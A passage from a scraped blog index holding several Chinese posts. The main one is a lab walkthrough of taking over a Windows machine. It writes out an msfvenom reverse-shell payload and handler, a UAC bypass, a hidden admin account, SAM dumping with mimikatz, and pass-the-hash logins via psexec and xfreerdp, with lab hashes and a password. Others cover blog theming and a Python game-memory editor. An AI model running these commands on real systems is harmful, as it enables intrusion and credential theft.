Args＞：可变参数模板的解释和使用_\u003cem\u003eMajor\u003c/em\u003e的博客-CSDN博客\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eC++ 模板、多参讲解\u003c/li\u003e\n\u003cli\u003e520 - 参数讲解\u003c/li\u003e\n\u003cli\u003eC++ 简单的析构函数讲解 - 智能指针\u003c/li\u003e\n\u003c/ul\u003e","title":"【材料】SetThreadContextCall！"},{"content":"本篇讲的是全流程获取windows的所有权限 并且可获取其中的全部隐私信息\n以提醒各位注意自己的电脑数据安全\n0.思路与步骤 建立任意shell交互（最难） 得到低权限用户 得到高权限用户（非管理员模式） 高权限用户绕过UAC 得到高权限用户的高权限（管理员模式） 得到SYSTEM权限（最简单） 得到目标用户的数据 全程均需要处理杀软，杀软的不稳定性过高不在本次讨论范围内。 1.建立任意shell交互 有两种方案：从网络中攻入、从物理上攻入\n1.1.本地手段（电脑不在手上时） 这里演示从物理上攻入的方案\nUAC已自动绕过，UAC不能防止来自物理上直接的输入。 UAC绕过方案可搜索Bypass UAC：绕过UAC提权-CSDN博客 本次演示将会直接获取高权限用户，因此跳过了低权限用户的可选步骤。 有时候对低权限用户的隔离不充分，使其能够接触、修改到高权限用户的部分文件（点名steam）会造成严重后果，此处不展开 1.1.1.得到SYSTEM权限 采用经典的辅助功能替换成cmd直接获得system权限。\n创建新的用户以方便攻击\n此处需要注意不能直接替换密码，会丢失重要数据\n1.1.2.已经开启bitlocker的解决方法 搜狗输入法破解登陆密码漏洞复现_哔哩哔哩_bilibili\n1.2.网络手段 内网渗透测试：初探远程桌面的安全问题 - FreeBuf网络安全行业门户\nmsf-Msfvenonm生成后门木马_msfmsfvenom-CSDN博客\n网络中攻入的方案除了一些漏洞（例如永恒之蓝之类的）和弱口令之外，也就是钓鱼和诱导下载了，实际上钓鱼和诱导下载更加普遍。\nmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.130 lport=6666 -f exe -o testx64.exe msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.111.130 set LPORT 6666 run 1.2.1.家庭版额外问题 windows的家庭版始终禁止外部的rdp链接。\n但是可以升级为专业版。\n不需要重装不会丢失数据。\nhttps://www.bilibili.com/video/BV1se411g78q\n并未实测。\n1.2.2.获得低权限用户 常见于从网页攻击，获得的是WWW用户权限，此处不讲解。\n1.2.3.低权限用户提权到管理员用户 各显神通，这不是个简单的活儿，但如果有漏洞这步就会变得非常简单。\n此处同样不讲解。\n1.2.4.管理员用户bypassUAC，获得管理员权限 msf利用bypassuac提权,创建新用户 - FreeBuf网络安全行业门户\n即使是管理员用户，并不代表我们获得了管理员权限，UAC是阻止我们在本次测试中获取管理员权限的罪魁祸首，没有管理员权限仍然没有用。\nuse exploit/windows/local/bypassuac set session 1 run 由于我的版本过高（Windows Server 2019），这个exploit已经失效，因此这部分也是各位各显神通。\n1.2.5.1.管理员权限到system权限 24.cnblogs.com/blog/3336551/202412/3336551-20241226161217090-912981383.png)\n最简单的一步。管理员到system几乎是不设防。\n1.2.5.2.另一种获取system权限的方案 本来以为这样可以获得目标用户权限的，没想到直接拿system了。\n但是这需要管理员的NTLM，所以是不经意间得到的产物。\nImpacket脚本利用指南（上） - 先知社区 (aliyun.com)\n工具原理解析\n内网渗透测试瑞士军刀-impacket工具解析（五） - FreeBuf网络安全行业门户\npsexec.py Administrator@192.168.111.134 -hashes:69943c5e63b4d2c104dbbcc15138b72b 这里需要的hash需要hashdump获得。\n2.创建高权限管理员模式用户（可选） net user t 1 /add net localgroup administrators t /add 2.1.创建/获取模拟的目标攻击用户（已预创建） net user target qr85kJ19XH9jOvV /add net localgroup administrators target /add 3.得到目标（target）用户权限 即使我们已经拿到了整个电脑的最高权限（SYSTEM），可以畅通无阻的对整个计算机进行修改、拿取flag，但若是需要目标系统的某个用户权限，这还没有完成。\nwindows存在针对用户的加密机制，例如我们的浏览器密码，就是这样保存的\nCryptProtectData 函数 (dpapi.h) - Win32 apps | Microsoft Learn\n实际上，直接获取ntlm，然后解密Master key，再用它解密各种加密文件，这似乎也是一条道路，但我并未找到相关研究资料，因此还是需要通过登录到目标用户的方式获取权限。\n3.1.字典、爆破、社工直接获得密码 md5在线解密破解,md5解密加密 (cmd5.com)\n有时候，一些软件会在电脑内存储明文或混淆密码，他们会说：“当电脑被攻破时，不管怎样的安全措施都是没有用的”，殊不知，他们正是最后一道防线被摧毁的原因。\n另一个原因则是通用密码，如果明文存储的密码刚好是windows密码，那就畅通无阻了。\n拿到哈希直接得到密码，这非常简单，但不是本次的重点。\n3.2.tscon SYSTEM权限任意切换 内网技巧-RDP劫持及利用hash登录 - 先知社区 (aliyun.com)\n刚刚已经获得了SYSTEM权限，在system权限下，切换用户无需目标的密码，当然这需要目标用户必须已经登录过，可以处于断开状态，但是不能注销。\n但是本次实验中，用户没有登录，因此无法使用这种方法。\n3.3.PTH hash登录 红队攻防之hash登录RDP-CSDN博客\n域渗透-横向移动(PTH) - FreeBuf网络安全行业门户\n域渗透-凭据传递攻击(pass the hash)完全总结 - 卿先生 - 博客园 (cnblogs.com)\n使用PTH跳转到我们真正需要攻击的用户\n3.3.1.本地方案：使用Mimikatz 实际上远程也是可以用Mimikatz的，以及这种保存注册表再读取的方法可以换成直接读取，都是一样的。\ncd /D C:\\Users\\t\\Desktop\\新建文件夹\\x64 reg save HKLM\\SYSTEM system reg save HKLM\\SAM sam mimikatz.exe privilege::debug lsadump::sam /sam:sam /system:system sekurlsa::pth /user:root /domain:workspace /ntlm:46e2544d3eec3cea9b2a1118c669fd80 # sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:69943c5e63b4d2c104dbbcc15138b72b \u0026#34;/run:mstsc.exe /restrictedadmin\u0026#34; # 在windows中进行连接 mstsc.exe /restrictedadmin 获得的rdp配合参考资料里面的步骤继续完成，这里不展开了（因为写到一半文稿发现不打本地了）\n对了，本地rdp链不了本地。所以需要另一个机器外链。\n或者不嫌麻烦的话可以玩玩这个：\nstascorp/rdpwrap: RDP Wrapper Library (github.com)\n3.3.2.远程方案 # 检查rdp是否开启状态 REG QUERY \u0026#34;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\u0026#34; /v fDenyTSConnections REG QUERY \u0026#34;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\ WinStations\\RDP-Tcp\u0026#34; /v PortNumber # 开启rdp use post/windows/manage/enable_rdp set session 1 exploit # 开启管理员受限模式（PTH RDP基础） REG ADD \u0026#34;HKLM\\System\\CurrentControlSet\\Control\\Lsa\u0026#34; /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f REG query \u0026#34;HKLM\\System\\CurrentControlSet\\Control\\Lsa\u0026#34; | findstr \u0026#34;DisableRestrictedAdmin\u0026#34; # 获取hash，直接在session里面跑就行了。 hashdump run windows/gather/smart_hashdump xfreerdp /p:qr85kJ19XH9jOvV /u:target /v:192.168.111.137:3389 /tls-seclevel:0 /timeout:80000 xfreerdp /pth:46e2544d3eec3cea9b2a1118c669fd80 /u:target /v:192.168.111.137:3389 /tls-seclevel:0 /timeout:80000 总结 御敌千里之外，防御的重中之重往往就在前几道防线，一个病毒如何接触到自己，低权限用户和管理员用户天差地别。没有漏洞很难攻破这两层。 防病毒被我手动关闭了，但是防病毒只能防住一部分，若是使用学习版软件，报毒也是正常的，这个时候如果忽略的话可能会出事（也只是可能而已） 系统的更新是防护的重要手段，大家应该都知道漏洞经常有版本限制，我在绕过UAC的时候也挨了一下。 bitlocker虽然声名不好，被誉为“数据杀手”，但在了解其中情况之后，仔细记录恢复代码，可以防御来自本地的攻击。当然觉得没必要的话也是另一种选择罢了。 ","permalink":"https://t1mmoc.github.io/posts/18633320/","summary":"\u003ch1 id=\"本篇讲的是全流程获取windows的所有权限\"\u003e本篇讲的是全流程获取windows的所有权限\u003c/h1\u003e\n\u003cp\u003e并且可获取其中的全部隐私信息\u003c/p\u003e\n\u003cp\u003e以提醒各位注意自己的电脑数据安全\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"0思路与步骤\"\u003e0.思路与步骤\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e建立任意shell交互（最难）\u003c/li\u003e\n\u003cli\u003e得到低权限用户\u003c/li\u003e\n\u003cli\u003e得到高权限用户（非管理员模式）\u003c/li\u003e\n\u003cli\u003e高权限用户绕过UAC\u003c/li\u003e\n\u003cli\u003e得到高权限用户的高权限（管理员模式）\u003c/li\u003e\n\u003cli\u003e得到SYSTEM权限（最简单）\u003c/li\u003e\n\u003cli\u003e得到目标用户的数据\u003c/li\u003e\n\u003cli\u003e全程均需要处理杀软，杀软的不稳定性过高不在本次讨论范围内。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch1 id=\"1建立任意shell交互\"\u003e1.建立任意shell交互\u003c/h1\u003e\n\u003cp\u003e有两种方案：从网络中攻入、从物理上攻入\u003c/p\u003e\n\u003ch1 id=\"11本地手段电脑不在手上时\"\u003e1.1.本地手段（电脑不在手上时）\u003c/h1\u003e\n\u003cp\u003e这里演示从物理上攻入的方案\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUAC已自动绕过，UAC不能防止来自物理上直接的输入。\u003c/li\u003e\n\u003cli\u003e\n\u003cul\u003e\n\u003cli\u003eUAC绕过方案可搜索Bypass UAC：\u003ca href=\"https://blog.csdn.net/qq_36119192/article/details/104292591\"\u003e绕过UAC提权-CSDN博客\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e本次演示将会直接获取高权限用户，因此跳过了低权限用户的可选步骤。\u003c/li\u003e\n\u003cli\u003e\n\u003cul\u003e\n\u003cli\u003e有时候对低权限用户的隔离不充分，使其能够接触、修改到高权限用户的部分文件（点名steam）会造成严重后果，此处不展开\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"111得到system权限\"\u003e1.1.1.得到SYSTEM权限\u003c/h1\u003e\n\u003cp\u003e采用经典的辅助功能替换成cmd直接获得system权限。\u003c/p\u003e","title":"Windows 权限获取攻略：你的Windows，安全吗？"},{"content":"新的技术终究是新的技术，不适合初学者直接使用 既然一口气吃不成胖子，那不如从Vue和Element UI这两个大名鼎鼎的库开始。\n其实也是因为我发现我原本套用的模板自带了这两个库的使用。\n我得说我这path是越来越臃肿了\n这是gpt的输出，gpt更胜一筹（好吧赛道都不一样，vue和elementui这么早的）\n一番操作过后，它现在变成了这样！\n欧耶！\n还有待改善，不过已经有模有样了。\n","permalink":"https://t1mmoc.github.io/posts/18632526/","summary":"\u003ch1 id=\"新的技术终究是新的技术不适合初学者直接使用\"\u003e新的技术终究是新的技术，不适合初学者直接使用\u003c/h1\u003e\n\u003cp\u003e既然一口气吃不成胖子，那不如从Vue和Element UI这两个大名鼎鼎的库开始。\u003cbr\u003e\n其实也是因为我发现我原本套用的模板自带了这两个库的使用。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632526/3336551-20241226095214844-1306551855.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632526/3336551-20241226095159163-1654228370.png\"\u003e\u003cbr\u003e\n我得说我这path是越来越臃肿了\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632526/3336551-20241226103752962-620732406.png\"\u003e\u003cbr\u003e\n这是gpt的输出，gpt更胜一筹（好吧赛道都不一样，vue和elementui这么早的）\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632526/3336551-20241226123806113-1964816897.png\"\u003e\u003cbr\u003e\n一番操作过后，它现在变成了这样！\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632526/3336551-20241226131432122-2068211557.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632526/3336551-20241226131442343-80804648.png\"\u003e\u003cbr\u003e\n欧耶！\u003cbr\u003e\n还有待改善，不过已经有模有样了。\u003c/p\u003e","title":"再战博客园美化（三）——Vue和Element UI"},{"content":"书接上回 上回提到，博客园的美化实现了vue，并且实现了黑暗模式，现在已经进入到自己美化的地步了。\n虽然感觉和安全之路越来越远，不过也是一种体验。\n目前的问题 现在这个边角有点生硬，不够淡雅。\n应该是gpt帮我生成的边角，我试试他原有的样子如何。\n误会了，它原本的边角就是这么锐利的，看来我得自己调试了。\n或者。。。换个思路\n不调试了。直接把图片加上去试试？\n感谢：www.liveout.cn\n感谢：https://recyvan.github.io/\n再次感谢@www.liveout.cn ，还是复制好用啊\n在div里面写::before和::after（目前未使用），比直接替换body的样式表更加好用。\n这里gpt都没给出这么好的方案，感谢。\n替换一下就是这样的。\n有提示？逝逝。\n变成了这样。\n《可安全地替换》这就是ide说的，我不知道是不是因为我不符合规范，不过我用vue修改一个已有的网页本身已经不符合vue的调度规范了。\n总之，我不予评价。\n还是换回来吧。\n然后也不能一直用别人的图吧，换个自己的图上去。\n完成！\n","permalink":"https://t1mmoc.github.io/posts/18632537/","summary":"\u003ch1 id=\"书接上回\"\u003e书接上回\u003c/h1\u003e\n\u003cp\u003e上回提到，博客园的美化实现了vue，并且实现了黑暗模式，现在已经进入到自己美化的地步了。\u003cbr\u003e\n虽然感觉和安全之路越来越远，不过也是一种体验。\u003c/p\u003e\n\u003ch1 id=\"目前的问题\"\u003e目前的问题\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226131819459-143609067.png\"\u003e\u003cbr\u003e\n现在这个边角有点生硬，不够淡雅。\u003cbr\u003e\n应该是gpt帮我生成的边角，我试试他原有的样子如何。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226131914481-900960956.png\"\u003e\u003cbr\u003e\n误会了，它原本的边角就是这么锐利的，看来我得自己调试了。\u003cbr\u003e\n或者。。。换个思路\u003cbr\u003e\n不调试了。直接把图片加上去试试？\u003cbr\u003e\n感谢：www.liveout.cn\u003cbr\u003e\n感谢：\u003ca href=\"https://recyvan.github.io/\"\u003ehttps://recyvan.github.io/\u003c/a\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134454306-1060504184.png\"\u003e\u003cbr\u003e\n再次感谢@www.liveout.cn ，还是复制好用啊\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134528612-1626035286.png\"\u003e\u003cbr\u003e\n在div里面写::before和::after（目前未使用），比直接替换body的样式表更加好用。\u003cbr\u003e\n这里gpt都没给出这么好的方案，感谢。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134616494-641988624.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134629211-150266801.png\"\u003e\u003cbr\u003e\n替换一下就是这样的。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134653665-1142555830.png\"\u003e\u003cbr\u003e\n有提示？逝逝。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134702941-416579805.png\"\u003e\u003cbr\u003e\n变成了这样。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134720806-1196767146.png\"\u003e\u003cbr\u003e\n《可安全地替换》这就是ide说的，我不知道是不是因为我不符合规范，不过我用vue修改一个已有的网页本身已经不符合vue的调度规范了。\u003cbr\u003e\n总之，我不予评价。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134744566-742838614.png\"\u003e\u003cbr\u003e\n还是换回来吧。\u003cbr\u003e\n然后也不能一直用别人的图吧，换个自己的图上去。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632537/3336551-20241226134917761-14141205.png\"\u003e\u003cbr\u003e\n完成！\u003c/p\u003e","title":"再战博客园美化（四）"},{"content":"这是一篇AI文章，其中代码是我两年前所写，但博文本人懒得写了 一、引言 《植物大战僵尸》作为一款风靡全球的经典塔防游戏，以其丰富的玩法和策略性深受广大玩家喜爱。在游戏中，阳光作为关键资源，用于购买各种植物来抵御僵尸的进攻，其重要性不言而喻。然而，获取阳光的过程有时会受到僵尸的干扰，导致资源紧张，影响游戏体验。因此，不少玩家对如何修改阳光值产生了兴趣，今天我们就来探讨一下使用 Python 实现植物大战僵尸阳光修改的方法。需要注意的是，修改游戏数据仅用于学习交流目的，请勿在未经授权的情况下用于商业或其他不正当用途，同时也要遵守游戏的使用条款和相关法律法规。\n二、准备工作 在开始修改之前，我们需要准备好相应的工具和环境：\nPython：这是我们实现修改功能的主要编程语言。如果你还没有安装 Python，请前往 Python 官方网站（ https://www.python.org/downloads/ ）下载并安装适合你操作系统的版本，建议选择较新的稳定版本，如 Python 3.8 及以上。\nwin32gui、win32process、win32api、ctypes 库：这些库可以帮助我们与 Windows 系统进行交互，实现对游戏进程内存的读取和写入操作，从而达到修改阳光值的目的。它们通常包含在pywin32扩展库中。如果你的 Python 环境中尚未安装pywin32，可以通过以下命令使用pip进行安装：\npip install pywin32 安装完成后，在 Python 脚本中通过import语句导入这些库即可使用：\nimport win32process import win32api import ctypes 三、寻找阳光值内存地址 3.1 使用 CE 工具 CE（Cheat Engine）是一款功能强大且备受游戏玩家喜爱的内存修改工具，在修改《植物大战僵尸》阳光值这件事上，它可是关键角色。下面就来详细讲讲它的基本使用方法：\n首先，要打开《植物大战僵尸》游戏，接着启动 CE 工具 。在 CE 界面左上角，有一个类似电脑图标的按钮，点击它，就会弹出进程列表，从中找到 “植物大战僵尸” 的进程，选中后点击 “打开”，这样就把 CE 附加到游戏进程上了。\n游戏刚开始时，留意一下左上角的阳光数量，假设此时是 50 ，就在 CE 的 “数值” 输入框里填入 50 ，然后点击 “首次扫描”。这时候，CE 会对游戏内存展开搜索，不过通常会搜出一堆结果。别着急，继续游戏，当点击掉落的阳光后，阳光数变为了 75 ，再把 75 输入到 CE 里，点击 “再次扫描”。运气好的话，经过这么两轮操作，结果可能就只剩一个了，这个大概率就是存放当前阳光的地址。\n但这个地址还不是基址，它是动态地址，重启游戏就失效了。所以，我们得进一步找出基址。右键单击这个找到的地址，在弹出菜单里点击 “找出是什么改写了这个地址” 。这时候，调试器会附加到当前进程，切回游戏种一棵向日葵，再切回 CE，就能看到相关指令了。双击某一行指令查看详细信息，里面会有类似 5560 这样的指针偏移量，先把它记住。\n回到 CE 主界面，点击 “新的扫描”，勾选搜索框左边的 “Hex”，把刚才得到的类似 1D200FE0 这样的地址填进去，点击 “首次扫描”，会出来一批结果。这里面，要找那种看起来和其他大部分地址明显不同的，还可以对可能的地址右键 “找出是什么访问了这个地址”，逐一排查。当发现指令比较规整的时候，基本就八九不离十了。比如又找到一个新的偏移量 768，以及可能的基址 006A9EC0 。最后，点击 “手动添加地址”，勾选 “指针”，按顺序把基址、偏移量依次填好，单击 “确定”，就完成了寻找阳光基址的关键步骤。通过这样的流程，后续就能稳定修改阳光值了。\n3.2 理解内存地址的意义 在《植物大战僵尸》里，找到的内存地址与阳光值有着紧密且精妙的存储关系。从游戏编程的角度看，阳光值这类游戏数据，并不是随意散落在内存中的，而是遵循着特定的存储规则。我们找到的内存地址，就像是指向阳光值这个宝藏的路标。\n动态地址是游戏运行时分配给阳光值的临时存放点，每次重启游戏，这个动态地址就像变换了藏匿处，之前找到的就失效了，这就是为什么我们还得深挖基址。而基址呢，它相当于一个固定的 “大本营”，无论游戏怎么重启，它在内存中的位置都雷打不动。通过基址加上偏移量的方式，就能精准定位到阳光值所在的内存位置。\n打个比方，基址如同小区的固定门牌号，偏移量则是楼号、楼层与房间号这些具体信息，组合起来，就能毫无偏差地找到阳光值这个 “住户”。理解了这种存储关系，我们就能明白修改阳光值代码的工作原理，后续编写或运用相关代码时，也能更得心应手，精准对游戏中的阳光数据进行修改，获得别样的游戏体验。\n四、编写 Python 代码实现阳光修改 4.1 导入必要的模块 在 Python 中，我们需要导入win32gui、win32process、win32api和ctypes这些模块来实现对植物大战僵尸游戏进程的操作和内存的读写，从而达到修改阳光值的目的。\nwin32gui模块提供了一系列用于操作 Windows 图形用户界面（GUI）的函数，通过它我们可以查找窗口句柄，这是后续操作的基础。例如，使用FindWindow函数可以根据窗口的类名和标题来获取窗口的句柄，方便我们定位到正在运行的植物大战僵尸游戏窗口。\nwin32process模块主要用于获取与进程相关的信息和进行一些进程操作，如获取进程 ID 等。在我们的代码中，GetWindowThreadProcessId函数就是从该模块中调用的，它能够根据窗口句柄获取到对应的进程 ID，这对于后续打开进程并进行内存操作至关重要。\nwin32api模块提供了大量的 Windows API 函数，我们使用OpenProcess函数来打开一个已存在的进程，并获取进程句柄，以便后续对进程内存进行读写操作。只有获取了正确的进程句柄，我们才能对游戏进程的内存进行有效的访问和修改。\nctypes模块是 Python 的一个外部函数库，它提供了与 C 语言兼容的数据类型和函数调用机制，使得我们可以在 Python 中调用 C 语言编写的动态链接库（DLL）中的函数。在这里，我们通过ctypes加载kernel32.dll库，并调用其中的ReadProcessMemory和WriteProcessMemory函数来实现对游戏进程内存的读写操作，从而精准地修改阳光值。\n以下是导入这些模块的代码示例：\nimport win32process import win32api import ctypes 这些模块相互配合，为我们实现植物大战僵尸阳光值的修改提供了必要的工具和功能支持，是整个修改过程的基础。\n4.2 获取窗口句柄和进程 ID 在修改植物大战僵尸阳光值的过程中，获取游戏窗口的句柄和对应的进程 ID 是关键步骤之一。我们可以借助win32gui和win32process模块中的函数来实现这一目标。\n首先，使用win32gui.FindWindow函数来查找植物大战僵尸游戏窗口的句柄。这个函数接受两个参数，第一个参数是窗口类名，第二个参数是窗口标题。对于植物大战僵尸中文版，我们可以这样调用：\nhwnd = win32gui.FindWindow(0, \u0026ldquo;植物大战僵尸中文版\u0026rdquo;)\n这里将窗口类名设置为 0，表示不限制窗口类名，只通过窗口标题 “植物大战僵尸中文版” 来查找窗口句柄。如果函数返回值不为 0，则说明找到了对应的窗口，这个返回值就是窗口句柄hwnd，我们将在后续操作中使用它来获取进程相关信息。\n接下来，通过win32process.GetWindowThreadProcessId函数获取游戏进程的 ID。这个函数接受一个窗口句柄作为参数，并返回一个包含线程 ID 和进程 ID 的元组。我们只需要获取其中的进程 ID 即可，示例代码如下：\n_, pid = win32process.GetWindowThreadProcessId(hwnd)\n这样，我们就成功获取到了植物大战僵尸游戏的进程 IDpid，后续我们将使用这个进程 ID 来打开进程，以便对其内存进行操作，从而实现阳光值的修改。这两个步骤的紧密配合，为我们进一步深入修改游戏数据奠定了基础。\n4.3 打开进程并获取权限 在获取到植物大战僵尸游戏的进程 ID 后，接下来需要使用win32api.OpenProcess函数以适当的权限打开游戏进程，为后续的内存操作做好准备。\nOpenProcess函数的第一个参数用于指定所需的访问权限，我们通常需要获取较高的权限，例如PROCESS_ALL_ACCESS，它包含了对进程内存进行读写等操作所需的各种权限。第二个参数表示进程句柄是否可以被子进程继承，一般设置为False，表示不允许继承。第三个参数就是我们之前获取到的进程 ID。\n以下是打开进程并获取权限的示例代码：\nPROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)\nphand = win32api.OpenProcess(PROCESS_ALL_ACCESS, False, pid)\n在这段代码中，首先定义了PROCESS_ALL_ACCESS权限组合，然后使用OpenProcess函数打开进程，并将返回的进程句柄赋值给phand变量。这个进程句柄将在后续的内存读写操作中被频繁使用，确保我们能够对游戏进程的内存进行有效的访问和修改，从而实现阳光值的调整等操作。需要注意的是，获取进程权限时要确保操作的合法性和安全性，避免对系统和其他程序造成不必要的影响。\n4.4 读取和修改阳光值 4.4.1 读取阳光值内存地址 为了修改阳光值，我们首先需要找到阳光值在游戏进程内存中的地址。这可以通过ctypes库和kernel32.dll中的ReadProcessMemory函数来实现。\nReadProcessMemory函数用于从指定进程的内存中读取数据，它的参数包括进程句柄、要读取的内存地址、用于存储读取数据的缓冲区指针、要读取的字节数以及一个指向实际读取字节数的指针（在 Python 中可以设置为None）。\n在我们的代码中，首先需要定义一个ctypes.c_long类型的变量来存储读取到的数据，例如：\ndate = ctypes.c_long()\n然后加载kernel32.dll库：\nmydll = ctypes.windll.LoadLibrary(\u0026lsquo;kernel32.dll\u0026rsquo;)\n接下来，使用ReadProcessMemory函数读取阳光值的内存地址。假设我们已经通过之前介绍的方法找到了阳光值的基址为0x6A9EC0（实际情况中这个地址需要通过工具如 CE 来查找），我们可以这样读取：\nmydll.ReadProcessMemory(int(phand), 0x6A9EC0, ctypes.byref(date), 4, None)\nmydll.ReadProcessMemory(int(phand), date.value + 0x768, ctypes.byref(date), 4, None)\n这里进行了两次ReadProcessMemory调用，第一次是从基址0x6A9EC0读取数据，得到一个地址值，存储在date变量中。第二次是从date.value加上偏移量0x768的地址处再次读取数据，进一步定位到阳光值的实际存储地址，最终date变量中存储的就是阳光值的内存地址。\n通过这样的方式，我们就能够准确地找到阳光值在游戏进程内存中的存放位置，为后续修改阳光值做好准备。\n4.4.2 修改阳光值 在成功读取到阳光值的内存地址后，我们就可以使用WriteProcessMemory函数将新的阳光值写入该地址，从而实现阳光值的修改。\nWriteProcessMemory函数的参数与ReadProcessMemory函数类似，包括进程句柄、要写入的内存地址、要写入的数据缓冲区指针、要写入的数据字节数以及一个指向实际写入字节数的指针（在 Python 中可以设置为None）。\n假设我们要将阳光值修改为9999，示例代码如下：\nnew_date = ctypes.c_long(9999)\nmydll.WriteProcessMemory(int(phand), date.value + 0x5560, ctypes.byref(new_date), 4, None)\n在这段代码中，首先创建一个ctypes.c_long类型的变量new_date，并将其值设置为我们想要修改的阳光值9999。然后，使用WriteProcessMemory函数将new_date中的值写入到之前找到的阳光值内存地址（date.value + 0x5560）中，写入的字节数为 4 字节（因为ctypes.c_long类型在 32 位系统中占用 4 字节）。\n这样，就完成了阳光值的修改操作。当我们再次回到游戏中时，就会发现阳光值已经变成了我们设定的9999，从而可以更轻松地进行游戏，享受无限阳光带来的乐趣。不过，需要再次强调的是，这种修改游戏数据的行为仅用于学习和研究目的，在实际游戏中应遵守游戏规则和相关法律法规，避免不正当使用导致的不良后果。\n4.5 总代码 小声：只有这里是我自己写的\nimport win32gui import win32process import win32api import ctypes def change_sunshine(phand, sunshine_num): date = ctypes.c_long() mydll = ctypes.windll.LoadLibrary(\u0026#39;kernel32.dll\u0026#39;) # 读进程内存，找到阳光地址 mydll.ReadProcessMemory(int(phand), 0x6A9EC0, ctypes.byref(date), 4, None) mydll.ReadProcessMemory(int(phand), date.value + 0x768, ctypes.byref(date), 4, None) # 写进程内存 new_date = ctypes.c_long(sunshine_num) mydll.WriteProcessMemory(int(phand), date.value + 0x5560, ctypes.byref(new_date), 4, None) if __name__ == \u0026#39;__main__\u0026#39;: # 全部权限 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) # 窗口句柄 hwnd = win32gui.FindWindow(0, \u0026#34;植物大战僵尸中文版\u0026#34;) # 进程ID _, pid = win32process.GetWindowThreadProcessId(hwnd) # 进程句柄 phand = win32api.OpenProcess(PROCESS_ALL_ACCESS, False, pid) # 调用修改阳光函数 change_sunshine(phand, 9999) 五、代码优化与扩展 5.1 优化代码结构 随着代码功能的增加，优化代码结构变得尤为重要，它能提高代码的可读性、可维护性和可扩展性，使代码更加清晰易懂，便于后续的修改和完善。以下是一些优化建议：\n函数封装：将获取窗口句柄、进程 ID、打开进程以及读写内存等操作封装成独立的函数。这样可以使主程序逻辑更加清晰，每个函数只负责一个特定的任务，便于理解和调试。\n通过这样的封装，在主程序中调用这些函数时，代码的逻辑结构更加清晰\n读取阳光值内存地址 address = read_memory(phand, 0x6A9EC0)\naddress = read_memory(phand, address + 0x768)\n修改阳光值 write_memory(phand, address + 0x5560, 9999)\n使用类来组织代码：创建一个GameMemoryEditor类，将与游戏内存编辑相关的函数和数据封装在类中，这样可以更好地管理代码的状态和行为。例如：\n这种方式使得代码的结构更加清晰，数据和操作都封装在类中，便于管理和维护。通过这些优化措施，可以使代码更加健壮和易于扩展，为后续添加更多功能提供了良好的基础。\n5.2 添加更多功能 在实现了阳光值修改的基础上，我们还可以进一步扩展代码的功能，让游戏体验更加丰富和有趣。以下是一些可以尝试添加的功能及实现思路：\n无限阳光：要实现无限阳光的功能，可以在一个循环中不断地将阳光值设置为一个较大的数值，例如 99999 。可以使用time.sleep函数来设置一个合适的时间间隔，避免过度占用系统资源\n七、总结 通过以上步骤，我们成功地使用 Python 实现了对植物大战僵尸阳光值的修改，从最初的准备工作，到寻找内存地址，再到编写和优化代码，每一个环节都至关重要。这不仅让我们对游戏的内部机制有了更深入的了解，也展示了 Python 在游戏修改领域的强大能力。\n然而，需要再次强调的是，修改游戏数据应该仅用于学习和研究目的，遵守游戏的使用条款和相关法律法规是我们必须坚守的原则。在合法合规的前提下，大家可以继续探索 Python 在游戏修改中的更多可能性，比如尝试修改其他游戏参数或者为游戏添加新的功能，不断提升自己的编程技能和对游戏机制的理解，享受探索的乐趣。希望这篇文章能够对大家有所帮助，祝大家在编程和游戏的世界里都能收获满满！\n","permalink":"https://t1mmoc.github.io/posts/18633214/","summary":"\u003ch1 